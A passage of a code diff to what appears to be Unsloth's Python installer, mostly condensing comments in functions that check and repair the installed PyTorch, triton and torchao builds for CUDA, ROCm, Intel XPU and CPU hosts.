(int(_inst_rel.group(1)), int(_inst_rel.group(2))) >= (2, 11) if _inst_rel else False
)
if leaf.startswith("gfx"):
- # A repin BETWEEN per-arch leaves (gfx1151 -> gfx120X-all, the swapped-card case)
- # keeps every shape the version string carries: both are torch 2.11 with a three-part
- # +rocmA.B.C tag. Judged on that alone the pin the user just edited reads as satisfied
- # and is dropped in silence. The installed `rocm` meta-package names the family
- # outright; None means unknowable, so this can only ADD a mismatch, never talk one away.
+ # Two per-arch leaves look identical by version (2.11, three-part tag); the installed `rocm`
+ # meta-package names the family. None is unknowable, so this can only add a mismatch.
_family = _installed_rocm_wheel_family()
if _family is not None and _family != leaf:
return True
- # 2.11-allowlist arches expect the AMD per-arch wheel (three-part +rocmA.B.C,
- # torch 2.11+); a generic or pre-2.11 build is a mismatch. Asked before the family
- # can settle it, because these leaves have a FLOOR: a matching family on a 2.10 build
- # is the _grouped_mm bug, which is the one thing the pin has to keep repairing.
+ # Floor leaves: a matching family on a 2.10 build is still the _grouped_mm bug, so check first.
if leaf in _ROCM_GFX_TORCH211_LEAVES:
return not (_inst_is_211 and _inst_is_perarch)
- # Decisive the other way too, on leaves with no floor. The heuristic below reads any
- # 2.11 build as a mismatch, since that is what a build from some OTHER index looks
- # like -- but these leaves serve 2.11 as well, and the family says this one came from
- # the pinned index. Without it a correctly pinned gfx90a host force-reinstalls under
- # the legacy torch<2.11 cap on every update.
+ # On leaves without a floor the family is decisive, or a correctly pinned gfx90a reinstalls every update.
if _family is not None and _inst_is_perarch:
return False
- # Non-2.11 gfx leaf (<2.11 specs): mismatch on an untagged wheel or torch 2.11+.
return (not _inst_has_rocm) or _inst_is_211
- # Major-only rocm pin (rocm7): compare majors only -- a +rocm6.4 wheel under a rocm7
- # pin is a mismatch, any +rocm7.x wheel satisfies it (there is no pinned minor to
- # compare, and the 2.11-line fallback below would invert both verdicts).
+ # Major-only pin (rocm7): compare majors only.
if _pin_major is not None and _pin_ver is None:
if _inst_ver is not None:
return _inst_ver[0] != _pin_major
- # Untagged wheel never satisfies a ROCm pin; a +rocm tag with an unreadable
- # version is accepted (matches the lenient unreadable fallback below).
return not _inst_has_rocm
# rocmX.Y pin. Only KNOWN-2.11 rocm is the 2.11 line (no speculative floor).
_pin_is_211 = _pin_ver in _ROCM_KNOWN_TORCH211_VERSIONS if _pin_ver is not None else False
if _pin_ver is not None and _inst_ver is not None:
- # Both readable: exact (major, minor) compare (rocm7.2 pin over +rocm7.13.x ->
- # mismatch, reinstall the pinned wheel).
if _pin_ver != _inst_ver:
return True
- # Same family: a KNOWN-2.11 pin whose release drifted off 2.11 (2.12+rocm7.2)
- # violates the spec -> reinstall to floor (exact compare, not >=2.11).
+ # A known-2.11 pin whose release drifted off 2.11 (2.12+rocm7.2) violates the spec.
if _pin_is_211 and _inst_rel is not None:
if (int(_inst_rel.group(1)), int(_inst_rel.group(2))) != (2, 11):
return True
return False
- # rocm pin, unreadable installed version: compare on the 2.11 line, but an untagged
- # wheel never satisfies a rocmX.Y pin -> mismatch.
if not _inst_has_rocm:
return True
return _pin_is_211 != _inst_is_211
-# Intel XPU wheels. Own range, not the CUDA spec above: the xpu index serves past our tested
-# ceiling, and the floor is 2.6 because unsloth/models/_utils.py raises at import for an XPU
-# device below it. Kept in step with install.sh by tests/sh/test_xpu_torch_spec_parity.sh.
+# Own XPU range: the xpu index serves past our ceiling, and unsloth raises below 2.6 on XPU.
+# Kept in step with install.sh by tests/sh/test_xpu_torch_spec_parity.sh.
_XPU_TORCH_PKG_SPEC: tuple[str, str, str] = (
"torch>=2.6,<2.11.0",
"torchvision>=0.21,<0.26.0",
@@ -4687,7 +4388,6 @@ def _ensure_cuda_torch(*, probe_only: bool = False) -> "bool | None":
# An explicit unknown-family pin was applied VERBATIM at install time; leave it alone.
if _explicit_unknown_family_torch_index_url() is not None:
return
- # An inexpressible pin still outranks the GPU probe.
_pin_family = _explicit_torch_index_family() or ""
_pin_unusable = _explicit_torch_index_is_unusable()
if _pin_unusable and not _is_cuda_family_leaf(_pin_family):
@@ -4698,35 +4398,28 @@ def _ensure_cuda_torch(*, probe_only: bool = False) -> "bool | None":
# Never undo a deliberate ROCm install (setup.ps1 sets this marker).
if os.environ.get("UNSLOTH_ROCM_TORCH_INSTALLED") == "1":
return
- # Nor one this run asked for: a standalone `studio update` leaves _TORCH_BACKEND empty, so this
- # repair read the requested HIP build as poisoning and reinstalled CUDA for _ensure_rocm_torch
- # to force ROCm back (#10450). Same wheel-ROUTE predicate, so the two cannot drift.
+ # Nor one this run asked for (standalone update leaves _TORCH_BACKEND empty); same route predicate
+ # as _ensure_rocm_torch so the two cannot fight.
if (
_rocm_torch_explicitly_requested()
and not _is_cuda_family_leaf(_pin_family)
and _forced_rocm_route_is_viable()
):
return
- # An explicit CUDA pin commits to CUDA wheels and skips ALL GPU gates below.
_cuda_pinned = _explicit_cuda_torch_index_url() is not None or _pin_unusable
- # CUDA_VISIBLE_DEVICES="" / "-1" hides the GPU; honour it unless a CUDA index is pinned.
_cvd = os.environ.get("CUDA_VISIBLE_DEVICES")
if not _cuda_pinned and _cvd is not None and _cvd.strip() in ("", "-1"):
return
- # Only NVIDIA hosts carry CUDA torch (the CUDA pin overrides this gate too).
if not _cuda_pinned and not _has_usable_nvidia_gpu():
return
- # Classify the installed torch: "hip" (ROCm poisoning signature), "cuda" (healthy),
- # or "cpu". Un-importable means missing or broken: without a pin the base install
- # owns it, but a pinned CUDA index reinstalls it below.
+ # "hip" on an NVIDIA host is the poisoning signature.
_ran, _importable, _version, _hip, _cuda = _probe_torch_runtime()
if not _ran:
return
if not _importable:
- # torch present but can't import. Without a pin the base install owns it; but an
- # explicit CUDA pin forces this pass (failed probe) and the base update won't
- # reinstall an already-installed torch, so reinstall from the pin (self-resolving).
+ # Unimportable: the base install owns it unless a CUDA pin is set, since the base update will not
+ # reinstall an already-installed torch.
if not _cuda_pinned:
return
if probe_only:
@@ -4754,21 +4447,15 @@ def _ensure_cuda_torch(*, probe_only: bool = False) -> "bool | None":
)
return
if _version is None:
- # Nothing readable came back, so classify nothing: this is where the per-path
- # probe returned when its stdout held no line.
return
- # marker | +cuXXX local tag | release | family from torch.version.cuda. The last is the
- # only CUDA clue an untagged wheel gives: PyPI forbids the local +cuXXX version.
+ # torch.version.cuda is the only CUDA clue on an untagged wheel (PyPI forbids +cuXXX).
_ver = _version.lower()
_cu_match = re.search(r"\+(cu\d+)", _ver)
_marker = "hip" if (_hip or "rocm" in _ver) else ("cuda" if _cuda else "cpu")
_installed_cu = _cu_match.group(1) if _cu_match else ""
_installed_release = _ver.split("+", 1)[0]
_runtime_cu = ("cu" + _cuda.replace(".", "")) if _cuda else ""
- # Reinstall on a ROCm build on an NVIDIA host (poisoning signature), when a CUDA index
- # is pinned but the venv has the wrong family (CPU or a different cuXXX), or when the
- # installed family ships no kernels for this host's GPUs. A healthy match, or a CPU
- # wheel with no CUDA pin, is left alone.
+ # Reinstall on ROCm-on-NVIDIA, a pinned family mismatch, or a family with no kernels for these GPUs.
_pin_leaf = _pin_family
_pinned_cuda = _is_cuda_family_leaf(_pin_leaf)
if _marker == "hip":
@@ -4776,11 +4463,10 @@ def _ensure_cuda_torch(*, probe_only: bool = False) -> "bool | None":
elif _marker == "cpu" and _pinned_cuda:
_why = "torch is a CPU build but an explicit CUDA index is pinned"
elif _marker == "cuda" and _pinned_cuda and _installed_cu != _pin_leaf:
- # Installed cuXXX differs from the pin; an untagged build counts too (idempotent).
_installed_desc = _installed_cu if _installed_cu else "an untagged CUDA build"
_why = f"torch is {_installed_desc} but the pinned CUDA index is {_pin_leaf}"
elif _marker == "cuda" and not _pinned_cuda:
- # x86_64 only, like the cap: the spans below are the x86_64 build matrix.
+ # x86_64 only: the spans below are the x86_64 build matrix.
if platform.machine().lower() not in ("x86_64", "amd64"):
return
_family = _installed_cu or _runtime_cu
@@ -4805,10 +4491,8 @@ def _ensure_cuda_torch(*, probe_only: bool = False) -> "bool | None":
_torch_index_leaf(_detect_cuda_torch_index_family(known_only = True) or "")
)
):
- # A CPU wheel nobody asked for on an NVIDIA host whose driver is known to run a CUDA
- # wheel (the selector's cu126 default for an unreadable driver is not evidence): a
- # dependency step resolved torch from PyPI, or the GPU was not detected at install
- # time. The Windows flavour invariant catches this; Linux only recorded it.
+ # An unrequested CPU wheel on an NVIDIA host whose driver is known to run CUDA (the cu126 default
+ # for an unreadable driver is not evidence).
_recorded = _RECORDED_TORCH_TAG or ""
_why = "torch is a CPU build on an NVIDIA host" + (
f" although this install recorded {_recorded}"
@@ -4930,14 +4614,10 @@ def _ensure_xpu_torch(probe_only: bool = False) -> "bool | None":
pin = _pytorch_whl_leaf_url("xpu") # None: the mirror cannot express it; False below
_source = "this install selected XPU torch for its Intel GPU"
- # Un-importable either way installs from the pin below. One shared probe bounds it.
_ran, _importable, _version, _hip, _cuda = _probe_torch_runtime()
if not _ran:
- # Inconclusive, so ask the disk, which answers without loading SYCL. An unsupported or
- # missing wheel does need the reinstall (the resolver keeps a too-old +xpu wheel because
- # it satisfies the base range). A supported one means the Intel DRIVER is stalled, and
- # reinstalling never fixes a driver -- it would just re-download the trio twice per
- # update, since this helper runs at two repair points.
+ # Inconclusive probe: ask the disk. A supported wheel means a stalled Intel driver, which reinstalling
+ # never fixes.
if _xpu_wheel_supported_on_disk():
if probe_only:
return
@@ -4952,8 +4632,7 @@ def _ensure_xpu_torch(probe_only: bool = False) -> "bool | None":
elif _importable:
if _version is None:
return # unreadable -- the base install step handles a missing torch
- # Flavour AND range: a migrated 2.5+xpu venv is broken, not correct, so the tag
- # alone is not enough. Range matches _XPU_TORCH_PKG_SPEC.
+ # Flavour AND range: a migrated 2.5+xpu venv is broken. Range matches _XPU_TORCH_PKG_SPEC.
_ver = _version.lower()
_rel = _ver.split("+")[0].split(".")
_n = tuple(int(x) for x in _rel[:2] if x.isdigit())
@@ -4994,8 +4673,7 @@ def _installed_torch_version_label() -> str:
package without executing it. Empty when torch is absent or unreadable.
"""
try:
- # torch may have been installed earlier in THIS run, after the path finders cached
- # site-packages' directory listing.
+ # torch may have been installed earlier in this run, after finders cached site-packages.
importlib.invalidate_caches()
spec = importlib.util.find_spec("torch")
except (ImportError, ValueError):
@@ -5084,9 +4762,8 @@ def _ensure_xpu_triton() -> None:
return
pin = _explicit_xpu_torch_index_url()
if pin is None:
- # A one-shot pin (UNSLOTH_TORCH_INDEX_FAMILY=xpu ./install.sh) is gone by the next plain
- # update, but its +xpu wheel is not and a dependency pass can pull generic triton back
- # in, so the INSTALLED wheel is the pin. setup.sh keys its bnb floor on the same signal.
+ # A one-shot xpu pin is gone by the next update but its +xpu wheel remains, so the installed wheel
+ # is the pin. setup.sh keys its bnb floor on the same signal.
if "+xpu" not in _installed_torch_version_label().lower():
return
pin = _pytorch_whl_leaf_url("xpu")
@@ -5121,8 +4798,6 @@ def _ensure_xpu_triton() -> None:
out = probe.stdout.decode(errors = "replace")
spec = next((ln[5:].strip() for ln in out.splitlines() if ln.startswith("SPEC=")), "")
generic = next((ln[8:].strip() for ln in out.splitlines() if ln.startswith("GENERIC=")), "")
- # Act only when generic triton is present AND torch asks for an XPU triton; anything else
- # means torch is not the +xpu wheel this assumes.
if not generic or "xpu" not in spec.lower():
return
@@ -5136,10 +4811,9 @@ def _ensure_xpu_triton() -> None:
)
return
- # Fetch, THEN uninstall, THEN install from the file. The uninstall cannot go last: the shared
- # paths live in generic triton's OWN record, so removing it afterwards deletes what the XPU
- # build just wrote. Pre-fetching stops a dead mirror stranding the venv between the two
- # steps. uv has no `pip download`, hence pip here.
+ # Fetch, then uninstall, then install: the shared paths live in generic triton's record, so
+ # uninstalling last would delete the XPU files; pre-fetching keeps a dead mirror from stranding
+ # the venv between the two. uv has no `pip download`.
tmp = tempfile.mkdtemp(prefix = "unsloth_triton_xpu_")
try:
_dl_cmd = [
@@ -5158,10 +4832,7 @@ def _ensure_xpu_triton() -> None:
try:
dl = subprocess.run(
_dl_cmd,
- # Same scrub every other pinned install gets: PIP_NO_INDEX would ignore
- # --index-url outright, and PIP_EXTRA_INDEX_URL / PIP_FIND_LINKS are consulted in
- # addition to it, so an inherited environment could serve the wheel from
- # somewhere the pin never named.
+ # Scrub PIP_NO_INDEX / PIP_EXTRA_INDEX_URL / PIP_FIND_LINKS so only the pinned index serves it.
env = _install_env_for_cmd(_dl_cmd),
stdout = subprocess.PIPE,
stderr = subprocess.STDOUT,
@@ -5170,7 +4841,6 @@ def _ensure_xpu_triton() -> None:
except (OSError, subprocess.TimeoutExpired):
dl = None
wheels = glob.glob(os.path.join(tmp, "*.whl"))
- # The exit code alone is not enough: no wheel on disk means nothing to install from.
if dl is None or dl.returncode != 0 or not wheels:
_safe_print(
_red(
@@ -5186,9 +4856,7 @@ def _ensure_xpu_triton() -> None:
stderr = subprocess.DEVNULL,
)
if removed.returncode != 0:
- # A read-only or locked venv leaves generic triton REGISTERED; installing over it
- # would let a later upgrade or uninstall delete the shared files again. Change
- # nothing.
+ # Locked venv: generic triton stays registered, and installing over it would get the files deleted later.
_safe_print(
_red(
f" could not remove generic triton {generic}; leaving it in place -- it "
@@ -5196,10 +4864,8 @@ def _ensure_xpu_triton() -> None:
)
)
return
- # Past this point the venv has NO triton: the uninstall took the shared top-level files
- # with it. pip_install, not pip_install_try -- a warning would let the caller write a
- # completion manifest over a venv whose torch.compile is broken, which the next update
- # then fast-paths past (no generic distribution is left to trigger on).
+ # The venv now has NO triton. pip_install (exits) so no completion manifest lands over a broken
+ # torch.compile.
pip_install(
"triton (Intel XPU)",
"--force-reinstall",
@@ -5258,19 +4924,13 @@ def _ensure_cpu_torch() -> "bool | None":
return
pin = _pytorch_whl_leaf_url("cpu")
- # Classify the torch family. Un-importable means missing or broken, and the
- # explicit CPU pin reinstalls it below.
_ran, _importable, _version, _hip, _cuda = _probe_torch_runtime()
if not _ran:
- # A hung import is the wedged-driver case this pin exists to rescue, so returning here
- # made the pin a no-op on exactly that host. Classify off disk instead, and only go on
- # for a GPU label: a merely slow CPU-only box must not reinstall torch every update.
+ # A hung import is the wedged-driver case this pin rescues; continue only for a GPU label on disk.
if not _is_gpu_torch_label(_installed_torch_label_on_disk()):
return
if not _ran or not _importable:
- # torch present but can't import. The explicit CPU pin forces this pass (failed
- # probe) and the base update won't reinstall an already-installed torch, so
- # reinstall from the pin (self-resolving, no loop).
+ # Unimportable: the base update will not reinstall an installed torch, so reinstall from the pin.
if pin is None:
return False
_torch_pkg, _vision_pkg, _audio_pkg = _CPU_TORCH_PKG_SPEC
@@ -5292,12 +4952,8 @@ def _ensure_cpu_torch() -> "bool | None":
return
if _version is None:
return # unreadable -- the base install step handles a missing torch
- # '+xpu' too: an XPU wheel sets neither torch.version.cuda nor .hip, so without it a
- # working Intel build reads as "cpu" and the CPU pin over it does nothing. And
- # torch.version.xpu beside it, for the untagged source, conda or private-index XPU
- # wheel. _installed_flavor_tag_now reads that marker, so omitting it here made the two
- # disagree: the check said "still xpu" and failed the update while this predicate had
- # already declined to reinstall anything.
+ # '+xpu' and torch.version.xpu too: XPU sets neither .cuda nor .hip, and _installed_flavor_tag_now
+ # reads the same marker, so the two must agree.
_ver = _version.lower()
_is_gpu_build = (
bool(_hip)
@@ -5406,8 +5062,6 @@ def _torch_build_is_gpu() -> bool:
_is_gpu_torch_label(_version.lower())
or bool(_hip)
or bool(_cuda)
- # torch.version.xpu, for the same reason .cuda and .hip are here: an untagged
- # source, conda or private-index XPU build carries its runtime there and nowhere else.
or bool(_TORCH_RUNTIME_XPU)
)
label = _installed_torch_label_on_disk()
@@ -5446,24 +5100,13 @@ def _expected_torch_flavor_tag() -> str:
"""
env = _handover_torch_flavor_tag()
if env:
- # One exception. The setup scripts publish "cpu" both when the user asked for it and
- # when their GPU probe came back empty, and honouring the second reading is what let an
- # update report a venv rebuilt as 2.11.0+cpu as a success. Unpinned, "cpu" is a probe
- # ANSWER and does not outrank a CUDA manifest while the GPU is still there; both facts
- # must hold, or a host that really lost its GPU gets a wheel it cannot load. Resolved
- # here rather than in _ensure_expected_torch_flavor so the caller records the enforced
- # tag too, instead of repairing the venv and then writing "cpu" to the manifest.
+ # Unpinned "cpu" from the setup scripts can mean the GPU probe came back empty, so it does not
+ # outrank a CUDA manifest while the GPU is present. Resolved here so the enforced tag is recorded.
if env == "cpu" and not _explicit_cpu_torch_index_pin():
recorded = (_RECORDED_TORCH_TAG or "").strip().lower()
if _is_cuda_family_leaf(recorded) and _has_usable_nvidia_gpu():
- # The driver's OWN family, not the recorded one. setup.ps1 also answers "cpu"
- # legitimately, from Get-PytorchCudaTag, when the driver tops out below CUDA 11
- # or Get-CudaFamilyCappedForPreTuring lowers the family; reinstating the record
- # there would install a wheel this driver cannot load. Same probe as setup.ps1,
- # mirrored in _detect_cuda_torch_index_url, so the two cannot disagree.
- # An explicit CUDA pin outranks the probe: the repair helpers install from
- # the pinned URL, so expecting anything else would flag the venv they just
- # built correctly. _explicit_cpu_torch_index_pin already took the CPU pin.
+ # The driver's own family (same probe as setup.ps1), not the recorded one, so an old driver keeps cpu.
+ # An explicit CUDA pin outranks the probe.
pinned = _explicit_torch_index_family() or ""
driver = pinned if _is_cuda_family_leaf(pinned) else _driver_cuda_torch_flavor_tag()
if not driver:
@@ -5482,32 +5125,22 @@ def _expected_torch_flavor_tag() -> str:
return "rocm"
if _is_cuda_family_leaf(leaf) or leaf in ("xpu", "cpu"):
return leaf
- # A resolved backend is a stated choice, not a probe result: an AMD host taking setup.sh's
- # documented UNSLOTH_TORCH_BACKEND=cpu recorded nothing here, because the NVIDIA probe
- # answers "" for it, and the next launch called the deliberate install broken. Only when
- # the family agrees with the wheel actually installed. Ahead of the manifest, which
- # describes the PREVIOUS install, or a reinstall that changes flavor re-records the old tag.
+ # A resolved backend is a stated choice; honoured when it agrees with the installed wheel, and ahead of
+ # the manifest, which describes the previous install.
if _TORCH_BACKEND in ("cpu", "cuda", "rocm", "xpu"):
_installed = _torch_flavor_tag(_installed_torch_version_label())
- # "cuda" names a family, not a leaf, so the wheel's own cu tag is the flavor. Without
- # this arm a REMOVED CPU pin lived on: install.sh resolves cuda and installs a CUDA
- # wheel, the manifest still says cpu, and the healthy venv is recorded as deliberately
- # CPU-only -- so a later update that swaps in a CPU wheel reads as working as asked.
+ # "cuda" names a family, so the wheel's cu tag is the flavor; otherwise a removed CPU pin lives on.
if _TORCH_BACKEND == "cuda":
if _is_cuda_family_leaf(_installed):
return _installed
elif _installed == _TORCH_BACKEND:
return _TORCH_BACKEND
- # An unknown-family pin (a corporate /simple mirror, /current) was applied verbatim, and
- # nothing below it can name a family for this venv: the manifest describes the install
- # the mirror replaced. The setup handover above still outranks this, because it describes
- # the index this run actually installed from.
+ # An unknown-family pin was applied verbatim and nothing can name its family.
unknown_pin = _explicit_unknown_family_torch_index_url()
if unknown_pin is not None:
return "" if unknown_pin else (_RECORDED_TORCH_TAG or "")
if _RECORDED_TORCH_TAG:
return _RECORDED_TORCH_TAG
- # An absent NVIDIA GPU with no pin means no CUDA expectation exists to enforce.
if _explicit_torch_index_family() is None and not _has_usable_nvidia_gpu():
return ""
return _torch_index_leaf(_detect_cuda_torch_index_family() or "")
@@ -5602,28 +5235,20 @@ def _expected_torch_flavor_was_pinned(flavor: str = "") -> bool:
and flavor == resident
)
- # _explicit_torch_index_family() covers both variables WITH install.sh's precedence:
- # the URL wins outright and the family is read only when no URL was supplied. Reading the
- # family separately undid that, so an authoritative corporate /simple URL whose leaf names
- # no family fell through to a stale ..._FAMILY=cpu and recorded a GPU-less host's CPU
- # wheel as deliberately pinned -- and a later eGPU there would get no mismatch or repair.
+ # Uses install.sh precedence (URL wins, family only without URL); reading the family separately
+ # let a stale ..._FAMILY=cpu mark a GPU-less host's wheel as pinned.
pin_family = _explicit_torch_index_family()
if pin_family is not None and _names_it(_index_leaf_flavor_family(pin_family)):
return True
- # install.sh derives UNSLOTH_TORCH_BACKEND from the index it RESOLVED -- "cpu" on any GPU-less
- # machine, asked for or not -- and marks it derived. Only an unmarked value is a preference.
+ # install.sh marks a backend derived from the index it resolved; only an unmarked one is a preference.
if (
_TORCH_BACKEND in ("cpu", "cuda", "rocm", "xpu")
and os.environ.get("UNSLOTH_TORCH_BACKEND_SOURCE", "").strip().lower() != "resolved"
and _names_it(_TORCH_BACKEND)
):
return True
- # A record can only speak for a run that said nothing to contradict it. A GPU family asked
- # for HERE that settled on CPU because the GPU install failed is the same failed-pin case
- # the arms above refuse to call deliberate, and reviving the old CPU provenance underneath
- # them re-records the venv as pinned CPU anyway. Only families this run NAMED count:
- # install.sh's derived backend is not a preference, and a leaf that names no family has
- # contradicted nothing.
+ # A record only speaks for a run that named nothing to contradict it; derived backends and
+ # family-less leaves do not count.
if flavor and any(
family and family != _flavor_tag_family(flavor)
for family in _flavor_families_this_run_named()
@@ -5680,8 +5305,7 @@ def _explicit_cpu_torch_index_pin() -> bool:
return _explicit_torch_index_family() == "cpu"
-# Not a flavor tag, so no `== expected` comparison can accept it, and truthy, so no
-# `if not _now` ambiguity branch can swallow it.
+# Not a flavor tag (never == expected) and truthy (no `if not _now` branch swallows it).
_TORCH_TAG_UNIMPORTABLE = "unimportable"
@@ -5707,12 +5331,8 @@ def _installed_flavor_tag_now(expected: str = "") -> str:
return _gpu_family_from_runtime_markers(_hip, _cuda)
return tag
if _ran:
- # The probe ANSWERED, and its answer is that this torch does not import -- not the
- # ambiguity the disk fallback exists for. version.py would report the requested
- # +cu*/+xpu tag from a half-written or DLL-less wheel, the caller would read
- # tag == expected, and the update would write a completion manifest over a torch
- # nothing can import. A pre-repair import failure never reaches here: that chain
- # returns early on it.
+ # The probe answered "does not import": version.py would still report the requested tag from a
+ # half-written wheel, and the update would write a manifest over a torch nothing can import.
return _TORCH_TAG_UNIMPORTABLE
label = _installed_torch_label_on_disk()
return _torch_flavor_tag(label) if label else ""
@@ -5813,21 +5433,16 @@ def _install_torchao_for_torch(torch_version: "str | None", default_index: bool
across families and releases underneath the first call.
"""
spec = _select_torchao_spec(torch_version)
- # See _TORCHAO_DEFAULT_SPEC. rocm is included here, unlike torchcodec: the rocm leaves
- # really do publish torchao.
+ # See _TORCHAO_DEFAULT_SPEC. Unlike torchcodec, rocm leaves do publish torchao.
index = None if default_index else _torch_accelerator_index_url(torch_version)
- # --no-deps skips nothing today (no torchao release declares a runtime torch dependency)
- # and guards the second caller, which runs right after the torch repair.
+ # --no-deps guards the second caller, which runs right after the torch repair.
args = ["--no-deps", "--no-cache-dir"]
needs_reinstall = _pin_needs_reinstall(spec, _torch_index_tag(torch_version) if index else "")
if _may_skip_on_evidence() and not needs_reinstall:
- # This exact version from this exact index is what the pin asserts, and running it resolved
- # against the index on every update. Evidence first: a forced pass asks for the install.
_note(f"torch {torch_version or 'unknown'} detected -- {spec} is already installed")
_record_step("torchao", "skipped")
return
- # Keyed off the pin alone, as before the skip existed: a matching build with no evidence
- # behind it (every install's first update here) would re-download a satisfied wheel.
+ # Keyed off the pin alone: a matching build without evidence would otherwise re-download.
if needs_reinstall:
args.insert(0, "--force-reinstall")
_record_step("torchao", "ran")
@@ -5837,7 +5452,7 @@ def _install_torchao_for_torch(torch_version: "str | None", default_index: bool
+ (f" from {_strip_index_url_credentials(index)}" if index else "")
)
if default_index:
- # Optional on Windows ROCm: only export uses it, and hides its formats without it.
+ # Optional on Windows ROCm: only export uses it.
if not pip_install_try("Installing dependency overrides", *args, spec):
_note(f"could not install {spec}; torchao export stays unavailable")
return
@@ -5846,8 +5461,8 @@ def _install_torchao_for_torch(torch_version: "str | None", default_index: bool
return
if pip_install_try("Installing dependency overrides", *args, "--index-url", index, spec):
return
- # A leaf can lack this release outright (cu129 stops at 0.17.0 while serving torch 2.13),
- # and the wrong build only costs the kernels, so retry unpinned -- still fatally.
+ # A leaf can lack this release (cu129 stops at 0.17.0), and the wrong build only costs kernels, so
+ # retry unpinned, still fatally.
_note(
f"{_strip_index_url_credentials(index)} did not serve {spec} "
"-- retrying from the default index; its kernels may be skipped"
@@ -5871,8 +5486,7 @@ def _resync_torch_coupled_packages(label_before: str) -> bool:
if not _label_after or _label_after == label_before:
return True
_touched_torch = False
- # The whole local tag, not just the CUDA major: cpu to xpu moves no major at all (both
- # read None) yet still changes the build.
+ # The whole local tag: cpu -> xpu changes the build without moving any CUDA major.
_release_moved = _label_after.split("+", 1)[0] != str(label_before).split("+", 1)[0]
_family_moved = _label_after.partition("+")[2].strip().lower() != (
str(label_before).partition("+")[2].strip().lower()
@@ -5883,8 +5497,7 @@ def _resync_torch_coupled_packages(label_before: str) -> bool:
if _release_moved or _family_moved or _cuda_moved:
try:
_spec = _select_torchao_spec(_label_after)
- # The same pin step 4 uses, or this reinstalls PyPI's build over it.
- # _pin_needs_reinstall, not an exact compare: ==0.18.0 never equals 0.18.0+cu130.
+ # Same pin as step 4, or PyPI's build lands over it; ==0.18.0 never equals 0.18.0+cu130.
_ao_index = _torch_accelerator_index_url(_label_after)
_ao_args = ["--force-reinstall", "--no-deps", "--no-cache-dir"]
if _pin_needs_reinstall(_spec, _torch_index_tag(_label_after) if _ao_index else ""):
@@ -5897,16 +5510,12 @@ def _resync_torch_coupled_packages(label_before: str) -> bool:
_spec,
)
if not _ao_ok and _ao_index:
- # Same starved-leaf fallback as step 4; see the note there.
_ao_ok = pip_install_try(
"Re-matching torchao to the repaired torch", *_ao_args, _spec
)
if not _ao_ok:
- # Across a CUDA-major move the resident build is not merely slower:
- # _select_torchao_spec exists because a torchao compiled for CUDA 12
- # cannot load its cpp under cu130. Remove it, the way the xFormers arm
- # below removes a build made for a torch that is gone. A release-only
- # move keeps the old warning: that one really is just the slow path.
+ # Across a CUDA-major move a torchao built for CUDA 12 cannot load under cu130, so remove it;
+ # a release-only move just keeps the slow-path warning.
if _cuda_moved and _uninstall_distribution("torchao"):
_note(
f"removed the torchao built for a different CUDA major; "
@@ -5953,14 +5562,12 @@ def _ensure_expected_torch_flavor(expected: "str | None" = None) -> bool:
_installed = _probe_installed_torch_version()
if _installed and _is_cuda_family_leaf(_torch_flavor_tag(_installed)):
return True
- # rocm/xpu/cpu fall THROUGH: an explicit GPU pin sets _TORCH_BACKEND, and rejecting it
- # here would skip the invariant on the hosts that asked for that family.
+ # rocm/xpu/cpu fall through: an explicit GPU pin sets _TORCH_BACKEND.
if _TORCH_BACKEND not in ("", "cuda", "rocm", "xpu", "cpu"):
return True
if expected is None:
expected = _expected_torch_flavor_tag()
- # The PIN, not the handover: setup.ps1 also publishes "cpu" when its nvidia-smi probe
- # comes back empty, and that host must not be downgraded.
+ # The PIN, not the handover: setup.ps1 also publishes "cpu" when nvidia-smi comes back empty.
_cpu_pinned = expected == "cpu" and (
_explicit_cpu_torch_index_pin()
or (
@@ -5973,15 +5580,11 @@ def _ensure_expected_torch_flavor(expected: "str | None" = None) -> bool:
return True
if _TORCH_BACKEND in ("rocm", "xpu", "cpu") and _TORCH_BACKEND != expected:
return True
- # A pin whose leaf names no flavor was applied verbatim at install time, so acting on
- # a manifest that predates it overrides an administrator's mirror. Compared rather than
- # vetoed: the helper's known set predates XPU.
+ # A flavorless pin was applied verbatim; do not override an administrator's mirror.
_unknown_pin = _explicit_unknown_family_torch_index_url()
- # "" (inexpressible) changed no wheel, so the invariant below still applies.
if _unknown_pin and _torch_index_leaf(_unknown_pin) != expected:
return True
- # CUDA only, and only for an expectation INFERRED from hardware: an emptied mask is a
- # reason not to conclude cu124 from a probe, not to ignore a stated one.
+ # Only for a CUDA expectation inferred from hardware; an emptied mask does not cancel a stated one.
if _is_cuda_family_leaf(expected) and not _expected_torch_flavor_is_explicit():
_cvd = os.environ.get("CUDA_VISIBLE_DEVICES")
if _cvd is not None and _cvd.strip() in ("", "-1"):
@@ -5994,30 +5597,26 @@ def _ensure_expected_torch_flavor(expected: "str | None" = None) -> bool:
# A wedged driver hangs `import torch`; version.py names the wheel without one.
installed_version = _installed_torch_label_on_disk()
else:
- # Missing or unimportable is the base install's job, a louder failure than this.
return True
if not installed_version:
return True
installed = _torch_flavor_tag(installed_version)
- # _torch_flavor_tag reads untagged as "cpu", so a private index's untagged CUDA build
- # compares equal under a /cpu pin.
+ # Untagged reads as "cpu", so a private untagged CUDA build compares equal under a /cpu pin.
if expected == "cpu" and installed == "cpu" and (_hip or _cuda or _TORCH_RUNTIME_XPU):
installed = _gpu_family_from_runtime_markers(_hip, _cuda)
if installed == expected:
return True
- # install.ps1's line, word for word, so a support log from either path reads the same.
+ # install.ps1's line, word for word.
_safe_print(
f" PyTorch flavor mismatch (installed {installed}, need {expected}) -- "
f"reinstalling correct build..."
)
if expected == "rocm":
- # AMD's Windows wheels live on a per-architecture repo.amd.com index no "rocm" tag
- # can name, and the handed-over URL still points at /cpu there.
+ # AMD Windows wheels live on a per-arch repo.amd.com index the handed-over URL cannot name.
_ensure_rocm_torch()
- # The FAMILY: a transient repo.amd.com failure is non-fatal in there, and the cu124
- # wheel it leaves passes _torch_build_is_gpu.
+ # Check the family: a failed repo.amd.com fetch is non-fatal and leaves a cu124 wheel that looks GPU.
_now = _installed_flavor_tag_now(expected)
if _now == _TORCH_TAG_UNIMPORTABLE:
return _warn_repair_left_torch_unimportable(expected)
@@ -6033,20 +5632,18 @@ def _ensure_expected_torch_flavor(expected: "str | None" = None) -> bool:
index_url = _expected_torch_index_url(expected)
if index_url is None:
return _warn_wrong_flavor(expected, installed)
- # XPU floor is 2.6, not 2.4: unsloth/models/_utils.py raises at import below it.
_torch_pkg, _vision_pkg, _audio_pkg = (
_XPU_TORCH_PKG_SPEC
if expected == "xpu"
else _cuda_repair_torch_specs(index_url, _TORCH_FLAVOR_REPAIR_PKG_SPEC)
)
